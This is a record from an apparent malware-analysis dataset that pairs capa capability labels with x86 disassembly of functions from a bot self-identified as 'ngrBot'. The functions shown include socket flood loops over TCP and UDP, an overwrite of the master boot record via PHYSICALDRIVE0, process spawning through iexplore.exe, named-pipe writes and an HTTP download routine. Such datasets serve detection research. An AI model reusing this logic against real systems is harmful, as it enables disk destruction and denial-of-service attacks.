joyce8/EMBER2024-capa huggingface dataset:
Function at 0x29c89b0
Capabilities:
Get client handle via schannel
Get outbound credentials handle via credssp

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push ebx
push esi
push edi
xor edi, edi
push 0x34
lea eax, [ebp - 0x50]
push edi
push eax
mov dword [ebp - 4], edi
call sub.MSVCRT.dll_memset
mov esi, dword [ebp + 8]
add esp, 0xc
push edi
lea ebx, [esi + 0x10]
push ebx
push edi
push edi
lea ecx, [ebp - 0x54]
push ecx
push edi
push 2
xor eax, eax
push str.Microsoft_Unified_Security_Protocol_Provider
push edi
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], edi
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov dword [ebp - 0x54], 4
mov dword [ebp - 0x50], edi
mov dword [ebp - 0x4c], edi
mov dword [ebp - 0x48], edi
mov dword [ebp - 0x44], edi
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x34], 0x20
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x28], 0xfffffffe
mov dword [ebp - 0x24], 0x1c
mov dword [ebp - 0x20], edi
call dword [sym.imp.Secur32.dll_AcquireCredentialsHandleW]
test eax, eax
jne 0x29c8afe
push edi
lea edx, [ebp - 0x10]
lea ecx, [ebp - 4]
push ecx
mov dword [ebp - 0x14], edx
lea edx, [ebp - 0x1c]
push edx
lea eax, [esi + 8]
push eax
mov eax, dword [ebp + 0xc]
push edi
push edi
push edi
push edi
push 0x8c11c
push eax
push edi
push ebx
mov dword [ebp - 8], edi
mov dword [ebp - 0xc], 2
mov dword [ebp - 0x10], edi
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x1c], edi
call dword [sym.imp.Secur32.dll_InitializeSecurityContextW]
cmp eax, 0x90312
jne 0x29c8afe
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 8]
push ecx
push edx
push esi
call fcn.029c2be0
add esp, 0xc
cmp eax, dword [ebp - 0x10]
jne 0x29c8afe
lea eax, [ebp - 0x10]
push eax
call fcn.029c8760
mov ecx, dword [ebp + 0xc]
push 1
push ecx
push esi
call fcn.029c8790
add esp, 0x10
cmp eax, 1
jne 0x29c8afe
lea eax, [esi + 0x18]
push eax
push 4
lea eax, [esi + 8]
push eax
call dword [sym.imp.Secur32.dll_QueryContextAttributesW]
test eax, eax
jne 0x29c8afe
mov edx, dword [esi + 0x20]
add edx, dword [esi + 0x1c]
mov eax, dword [esi + 0x18]
mov ecx, dword [esi + 0x34]
add eax, edx
push eax
push ecx
mov dword [esi + 0x38], eax
call fcn.029c2490
add esp, 8
mov dword [esi + 0x34], eax
cmp eax, edi
je 0x29c8afe
mov eax, 1
pop edi
mov dword [esi + 4], eax
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [esi + 0x2c]
push edx
call fcn.029c24a0
lea eax, [ebp - 0x10]
push eax
call fcn.029c8760
add esp, 8
add esi, 8
push esi
call dword [sym.imp.Secur32.dll_DeleteSecurityContext]
push ebx
call dword [sym.imp.Secur32.dll_FreeCredentialsHandle]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x29c8b30
Capabilities:
Encrypt data via sspi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, dword [esi + 0x18]
add ebx, dword [esi + 0x34]
mov eax, dword [esi + 0x20]
add eax, ebx
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 0x10]
mov dword [ebp - 8], eax
xor eax, eax
push 0x2c
push eax
lea ecx, [ebp - 0x44]
push ecx
mov dword [ebp - 4], eax
mov dword [ebp + 8], edi
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x48], eax
call sub.MSVCRT.dll_memset
add esp, 0xc
cmp dword [esi + 4], 0
jne 0x29c8b9a
mov edx, dword [ebp + 0xc]
push edi
push edx
push esi
call fcn.029c2be0
add esp, 0xc
xor ecx, ecx
cmp eax, edi
sete cl
pop edi
pop esi
pop ebx
mov eax, ecx
mov esp, ebp
pop ebp
ret
test edi, edi
je 0x29c8c77
jmp 0x29c8ba7
mov edi, dword [ebp + 8]
mov edx, dword [esi + 0x38]
mov eax, dword [esi + 0x34]
push edx
push eax
call fcn.029c24e0
mov eax, dword [esi + 0x20]
add esp, 8
cmp edi, eax
jb 0x29c8bc0
mov edi, eax
mov ecx, dword [ebp - 8]
push edi
push ecx
push ebx
call fcn.029c2440
mov edx, dword [esi + 0x34]
mov eax, dword [esi + 0x18]
mov ecx, dword [ebp - 0xc]
sub dword [ebp + 8], edi
add dword [ebp - 8], edi
mov dword [ebp - 0x40], edx
mov edx, dword [esi + 0x1c]
mov dword [ebp - 0x48], eax
xor eax, eax
push eax
mov dword [ebp - 0x30], edx
lea edx, [ebp - 0x18]
push edx
push eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x28], ecx
lea eax, [esi + 8]
lea ecx, [ebp - 0x48]
push eax
mov dword [ebp - 0x44], 7
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x38], 1
mov dword [ebp - 0x2c], 6
mov dword [ebp - 0x14], 4
mov dword [ebp - 0x10], ecx
call sub.Secur32.dll_EncryptMessage
test eax, eax
jne 0x29c8c7a
mov byte [ebp + 0xf], al
movzx eax, byte [ebp + 0xf]
lea eax, [eax + eax*2]
add eax, eax
add eax, eax
mov ecx, dword [ebp + eax - 0x48]
mov edx, dword [ebp + eax - 0x40]
lea edi, [ebp + eax - 0x48]
push ecx
push edx
push esi
call fcn.029c2be0
add esp, 0xc
mov dword [ebp - 4], eax
cmp eax, dword [edi]
jne 0x29c8c7d
mov al, byte [ebp + 0xf]
inc al
mov byte [ebp + 0xf], al
cmp al, 3
jb 0x29c8c35
cmp dword [ebp + 8], 0
jne 0x29c8ba4
mov edi, dword [ebp + 0x10]
mov dword [ebp - 4], edi
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x29c9300
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push esi
call sub.WS2_32.dll_inet_addr
cmp eax, 0xffffffff
jne 0x29c9326
push esi
call sub.WS2_32.dll_gethostbyname
test eax, eax
jne 0x29c931f
pop esi
pop ebp
ret
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov eax, dword [ecx]
pop esi
pop ebp
ret

Function at 0x29c9330
Capabilities:
Act as tcp client
Check for time delay via gettickcount
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3dc
mov eax, dword [ebp + 8]
push esi
push edi
push eax
mov dword [ebp - 4], 1
call fcn.029c9300
mov edx, dword [ebp + 0xc]
add esp, 4
mov ecx, 2
push edx
mov esi, eax
mov word [ebp - 0x14], cx
call sub.WS2_32.dll_htons
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov word [ebp - 0x12], ax
mov dword [ebp - 0x10], esi
call edi
mov esi, eax
call edi
mov edi, dword [ebp + 0x10]
imul edi, edi, 0x3e8
sub esi, eax
mov dword [ebp - 0x3d4], eax
cmp esi, edi
ja 0x29c941c
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [0x29d5d24], 0
jne 0x29c941b
xor esi, esi
push 0
push 1
push 2
call sub.WS2_32.dll_socket
mov dword [ebp + esi*4 - 0xdc], eax
cmp eax, 0xffffffff
je 0x29c93c6
lea ecx, [ebp - 4]
push ecx
push 0x8004667e
push eax
call sub.WS2_32.dll_ioctlsocket
inc esi
cmp esi, 0x32
jl 0x29c93a0
xor esi, esi
mov edi, edi
mov eax, dword [ebp + esi*4 - 0xdc]
push 0x10
lea edx, [ebp - 0x14]
push edx
push eax
call sub.WS2_32.dll_connect
inc esi
cmp esi, 0x32
jl 0x29c93d0
push 0x64
call ebx
xor esi, esi
nop
mov ecx, dword [ebp + esi*4 - 0xdc]
push ecx
call sub.WS2_32.dll_closesocket
inc esi
cmp esi, 0x32
jl 0x29c93f0
push 0x4b
call ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [ebp - 0x3d4]
cmp eax, edi
jbe 0x29c9395
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x29c9430
Capabilities:
Check for time delay via gettickcount
Create udp socket
Encrypt data using rc4 ksa
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1a40
call fcn.029d0f10
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push eax
mov dword [ebp - 4], 1
call fcn.029c9300
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov esi, eax
mov eax, dword [ebp + 0xc]
add esp, 4
test eax, eax
je 0x29c9467
movzx eax, ax
jmp 0x29c9486
call edi
push eax
call main
add esp, 4
call fcn.029c3870
movzx eax, ax
cdq
mov ecx, 0xffff
idiv ecx
inc edx
movzx eax, dx
mov edx, 2
push eax
mov word [ebp - 0x14], dx
call sub.WS2_32.dll_htons
mov dword [ebp - 0x10], esi
mov word [ebp - 0x12], ax
xor esi, esi
mov edi, edi
call fcn.029c3870
cdq
mov ecx, 0xff
idiv ecx
inc esi
cmp esi, 0x1964
mov byte [ebp + esi - 0x1a41], dl
jl 0x29c94a0
call edi
mov esi, eax
call edi
mov edi, dword [ebp + 0x10]
imul edi, edi, 0x3e8
mov ebx, eax
sub esi, ebx
cmp esi, edi
ja 0x29c9574
jmp 0x29c94e0
cmp dword [0x29d5d24], 0
jne 0x29c9574
xor esi, esi
nop
push 0x11
push 2
push 2
call sub.WS2_32.dll_socket
mov dword [ebp + esi*4 - 0xdc], eax
cmp eax, 0xffffffff
je 0x29c9516
lea edx, [ebp - 4]
push edx
push 0x8004667e
push eax
call sub.WS2_32.dll_ioctlsocket
inc esi
cmp esi, 0x32
jl 0x29c94f0
xor esi, esi
mov edi, edi
mov edx, dword [ebp + esi*4 - 0xdc]
push 0x10
lea eax, [ebp - 0x14]
push eax
push 0
push 0x1964
lea ecx, [ebp - 0x1a40]
push ecx
push edx
call sub.WS2_32.dll_sendto
inc esi
cmp esi, 0x32
jl 0x29c9520
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
mov eax, dword [ebp + esi*4 - 0xdc]
push eax
call sub.WS2_32.dll_closesocket
inc esi
cmp esi, 0x32
jl 0x29c9551
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, ebx
cmp eax, edi
jbe 0x29c94e0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x29c9d90
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push 4
push 0x1000
push 0x8000
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 8], eax
test eax, eax
jne 0x29c9dbe
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push 0x20000080
push 3
push 0
push 3
push 0xc0000000
push str..PHYSICALDRIVE0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x29c9dee
mov eax, 0xfffffffe
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0
push 0
push 0x90018
push ebx
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push ecx
push esi
push edi
mov ecx, 0x2000
xor eax, eax
mov edi, dword [ebp - 8]
rep stosd dword es:[edi], eax
pop edi
pop esi
pop ecx
push 0
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov edi, dword [ebp - 8]
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea ecx, [ebp - 4]
push ecx
push 0x7e00
push edi
push ebx
call esi
test eax, eax
jne 0x29c9e4f
mov eax, 0xfffffffd
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea edx, [ebp - 4]
push edx
push 0x7e00
push edi
push ebx
call esi
test eax, eax
jne 0x29c9e80
mov eax, 0xfffffffc
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
lea eax, [ebp - 4]
push eax
push 0x8000
push edi
push ebx
call esi
test eax, eax
jne 0x29c9e80
push eax
lea ecx, [ebp - 4]
push ecx
push eax
push eax
push eax
push eax
push 0x9001c
push ebx
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x29c9ec0
Capabilities:
Overwrite master boot record (mbr)
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push esi
push 0x1ff
lea eax, [ebp - 0x207]
push 0
push eax
mov byte [ebp - 0x208], 0
call sub.MSVCRT.dll_memset
push 3
lea ecx, [ebp - 0x208]
push str.00100
push ecx
call fcn.029c3640
add esp, 0x18
push 0
push 0
push 3
push 0
push 3
push 0xc0000000
push str..PHYSICALDRIVE0
mov byte [ebp - 0xa], 0x55
mov byte [ebp - 9], 0xaa
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x29c9f2a
or eax, eax
pop esi
mov esp, ebp
pop ebp
ret
push edi
mov edi, dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push 0
lea edx, [ebp - 4]
push edx
push 0
push 0
push 0
push 0
push 0x90018
push esi
call edi
push 0
lea eax, [ebp - 8]
push eax
push 0x200
lea ecx, [ebp - 0x208]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea edx, [ebp - 4]
push edx
push 0
push 0
push 0
push 0
push 0x9001c
push esi
call edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x29ca080
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push esi
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push eax
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x29ca0d1
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
push 0
lea ecx, [ebp - 4]
push ecx
mov ecx, dword [eax]
push edx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
test eax, eax
jne 0x29ca0d8
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x29ca150
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push esi
xor eax, eax
push 0x206
push eax
lea ecx, [ebp - 0x206]
push ecx
mov word [ebp - 0x208], ax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x208
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
test eax, eax
je 0x29ca1ea
mov esi, dword [ebp + 8]
push edi
push esi
call fcn.029c3690
mov edi, eax
lea eax, [ebp - 0x208]
push eax
call fcn.029c3690
add esp, 8
cmp edi, eax
pop edi
jbe 0x29ca1ea
lea ecx, [ebp - 0x208]
push ecx
call fcn.029c3690
push eax
lea edx, [ebp - 0x208]
push edx
push esi
call sub.MSVCRT.dll__memicmp
add esp, 0x10
test eax, eax
jne 0x29ca1ea
mov eax, dword [ebp + 0xc]
push eax
push esi
call fcn.029ca0f0
add esp, 8
test eax, eax
je 0x29ca1ea
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x29ca260
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push 0x10
lea eax, [ebp - 0x10]
push 0
push eax
call fcn.029c35f0
push 0x44
lea ecx, [ebp - 0x54]
push 0
push ecx
call fcn.029c35f0
add esp, 0x18
xor edx, edx
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x54]
push ecx
push edx
push edx
push 0x10
push edx
push edx
push edx
push edx
mov word [ebp - 0x24], dx
mov edx, dword [ebp + 8]
push edx
mov dword [ebp - 0x54], 0x44
mov dword [ebp - 0x28], 1
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov esp, ebp
pop ebp
ret
Function at 0x29ca310
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1404
call fcn.029d0f10
push ebx
push esi
push edi
push 0x3ff
lea eax, [ebp - 0x403]
push 0
push eax
mov byte [ebp - 0x404], 0
call sub.MSVCRT.dll_memset
push 0x7ff
lea ecx, [ebp - 0x1003]
push 0
push ecx
mov byte [ebp - 0x1004], 0
call sub.MSVCRT.dll_memset
push 0x3ff
lea edx, [ebp - 0x803]
push 0
push edx
mov byte [ebp - 0x804], 0
call sub.MSVCRT.dll_memset
mov ecx, dword [ebp + 8]
lea eax, [ebp + 0xc]
push eax
push ecx
lea edx, [ebp - 0x1404]
push 0x3fe
push edx
call sub.MSVCRT.dll__vsnprintf
lea eax, [ebp - 0x1404]
push eax
lea ecx, [ebp - 0x404]
push 0x29d13ec
push ecx
call sub.MSVCRT.dll_sprintf
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 0x40
push str.9fddc8d5
call edi
push eax
push str.9fddc8d5
call fcn.029c1e60
push eax
push str..pipe_08x_ipc
lea edx, [ebp - 0x804]
push 0x3ff
push edx
call sub.MSVCRT.dll__snprintf
add esp, 0x18
lea eax, [ebp - 0x404]
push eax
call edi
mov esi, eax
push esi
lea ecx, [ebp - 0x1004]
push 0x29d2a30
push ecx
call sub.MSVCRT.dll_sprintf
add esp, 0xc
lea edx, [ebp - 0x1004]
push edx
call edi
push str.9fddc8d5
mov ebx, eax
call edi
push eax
push esi
lea eax, [ebp - 0x404]
push str.9fddc8d5
push eax
call fcn.029c1440
add esp, 0x10
push esi
lea ecx, [ebp - 0x404]
push ecx
lea edx, [ebp + ebx - 0x1004]
push edx
call fcn.029c2440
push 0x2a0add4
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 0
push 0
push 3
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x804]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x29ca473
push 0x2a0add4
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
push 0
lea ecx, [ebp - 4]
push ecx
add ebx, esi
push ebx
lea edx, [ebp - 0x1004]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x2a0add4
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x29ca5d0
Capabilities:
Create thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor esi, esi
xor ebx, ebx
mov dword [ebp - 4], esi
cmp dword [0x29d59b4], esi
jbe 0x29ca63b
push edi
mov edi, 0x29d59b4
jmp 0x29ca5f0
mov eax, dword [edi]
mov ecx, dword [esi + 0x29d59b0]
push 0x20
push eax
push 0x29d589c
push ecx
call fcn.029c1440
mov edx, dword [edi]
mov eax, dword [esi + 0x29d59b0]
push edx
push eax
call fcn.029c1e60
add esp, 0x18
cmp eax, dword [esi + 0x29d59b8]
jne 0x29ca64a
add dword [ebp - 4], eax
inc ebx
lea esi, [ebx + ebx*2]
add esi, esi
add esi, esi
cmp dword [esi + 0x29d59b4], 0
lea edi, [esi + 0x29d59b4]
ja 0x29ca5f0
pop edi
mov edx, dword [ebp - 4]
lea ecx, [ebx + ebx*2]
cmp edx, dword [ecx*4 + 0x29d59b8]
je 0x29ca686
push 0
push 0
push 0
push 0x29ce750
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x30
push str.ngrBot_Error
push str.This_binary_is_invalid._r_n_r_nMain_reasons:_r_n__you_stupid_cracker_r_n__you_stupid_cracker..._r_n__you_stupid_cracker___r_n
push 0
mov esi, eax
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x29ca690
Capabilities:
Create process on windows
Get common file path
Get program files directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x874
xor eax, eax
push 0x206
push eax
lea ecx, [ebp - 0x25a]
push ecx
mov word [ebp - 0x25c], ax
call sub.MSVCRT.dll_memset
xor edx, edx
push 0x616
push edx
lea eax, [ebp - 0x872]
push eax
mov word [ebp - 0x874], dx
call sub.MSVCRT.dll_memset
add esp, 0x18
push 0
push 0x26
lea ecx, [ebp - 0x25c]
push ecx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
jne 0x29ca6ed
mov esp, ebp
pop ebp
ret
push str.Internet_Exploreriexplore.exe
lea edx, [ebp - 0x25c]
push edx
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x25c]
push ecx
push str.__s___S
lea edx, [ebp - 0x874]
push 0x617
push edx
call sub.MSVCRT.dll__snwprintf
push 0x10
lea eax, [ebp - 0x10]
push 0
push eax
call fcn.029c35f0
push 0x44
lea ecx, [ebp - 0x54]
push 0
push ecx
call fcn.029c35f0
add esp, 0x2c
cmp dword [ebp + 0xc], 0
mov dword [ebp - 0x54], 0x44
mov dword [ebp - 0x28], 1
je 0x29ca75c
mov edx, 5
mov word [ebp - 0x24], dx
jmp 0x29ca762
xor eax, eax
mov word [ebp - 0x24], ax
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 0x54]
push edx
push 0
push 0
push 0x10
push 0
push 0
push 0
lea eax, [ebp - 0x874]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov esp, ebp
pop ebp
ret
Function at 0x29ca990
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
push 0x10
xor esi, esi
lea eax, [ebp - 0x10]
push esi
push eax
call fcn.029c35f0
push 0x44
lea ecx, [ebp - 0x54]
push esi
push ecx
call fcn.029c35f0
xor edx, edx
add esp, 0x18
mov dword [ebp - 0x54], 0x44
mov dword [ebp - 0x28], 1
mov word [ebp - 0x24], dx
call fcn.029c68b0
test eax, eax
jne 0x29ca9d6
pop esi
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 0x54]
push edx
push 0
push 0
push 0x10
push 0
push 0
push 0
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x29ca9fa
mov esi, dword [ebp - 8]
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x29caa10
Capabilities:
Check http status code
Create http request
Query remote server for available data
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push ebx
push esi
push edi
push 0x103
lea eax, [ebp - 0x10f]
push 0
push eax
mov byte [ebp - 0x110], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.Mozilla_4.0
lea ecx, [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, dword [0x2a0ba00]
test esi, esi
jne 0x29caa6e
push esi
push esi
push esi
push esi
lea edx, [ebp - 0x110]
push edx
call dword [sym.imp.WININET.dll_InternetOpenA]
mov esi, eax
mov dword [0x2a0ba00], esi
mov edi, dword [ebp + 0x14]
xor eax, eax
test edi, edi
je 0x29caa7e
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push 0
push 0x4000000
push eax
mov eax, dword [ebp + 8]
push edi
push eax
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov ebx, eax
xor edi, edi
cmp ebx, edi
jne 0x29caaa3
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
push edi
lea ecx, [ebp - 0xc]
push ecx
lea edx, [ebp - 8]
push edx
push 0x20000013
push esi
mov dword [ebp - 8], 0xc8
mov dword [ebp - 0xc], 4
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
je 0x29caadb
mov eax, dword [ebp - 8]
cmp eax, 0xc8
jb 0x29caa9a
cmp eax, 0x12b
ja 0x29caa9a
mov esi, dword [ebp + 0x10]
push edi
push edi
push esi
push ebx
call dword [sym.imp.WININET.dll_InternetQueryDataAvailable]
test eax, eax
je 0x29caa9a
mov dword [esi], edi
mov dword [0x2a0b9fc], edi
mov dword [0x2a0b9f8], edi
mov dword [0x2a0b9f4], edi
mov edi, dword [sym.imp.WININET.dll_InternetReadFile]
mov dword [ebp - 4], 1
lea ecx, [ecx]
push 0x1000
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov dword [0x2a0b9fc], eax
add esp, 4
mov dword [eax + 0xffc], 0
cmp dword [0x2a0b9f4], 0
jne 0x29cab41
mov eax, dword [0x2a0b9fc]
mov dword [0x2a0b9f4], eax
jmp 0x29cab57
mov eax, dword [0x2a0b9f8]
mov ecx, dword [0x2a0b9fc]
mov dword [eax + 0xffc], ecx
mov eax, dword [0x2a0b9fc]
lea edx, [ebp - 4]
push edx
push 0xff8
push eax
push ebx
mov dword [0x2a0b9f8], eax
call edi
mov ecx, dword [0x2a0b9fc]
mov eax, dword [ebp - 4]
mov dword [ecx + 0xff8], eax
mov eax, dword [ebp - 4]
add dword [esi], eax
mov ecx, dword [esi]
test eax, eax
jne 0x29cab10
inc ecx
push ecx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edi, dword [ebp + 0xc]
add esp, 4
mov dword [edi], eax
mov eax, dword [0x2a0b9f4]
xor esi, esi
xor ecx, ecx
mov dword [0x2a0b9fc], eax
test ecx, ecx
je 0x29cabb2
push ecx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov eax, dword [0x2a0b9fc]
add esp, 4
test eax, eax
je 0x29cabe0
mov edx, dword [eax + 0xff8]
push edx
push eax
mov eax, dword [edi]
add eax, esi
push eax
call fcn.029c3640
mov eax, dword [0x2a0b9fc]
add esp, 0xc
add esi, dword [eax + 0xff8]
mov ecx, eax
mov eax, dword [eax + 0xffc]
jmp 0x29cab9b
mov ecx, dword [edi]
push ebx
mov byte [esi + ecx], 0
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret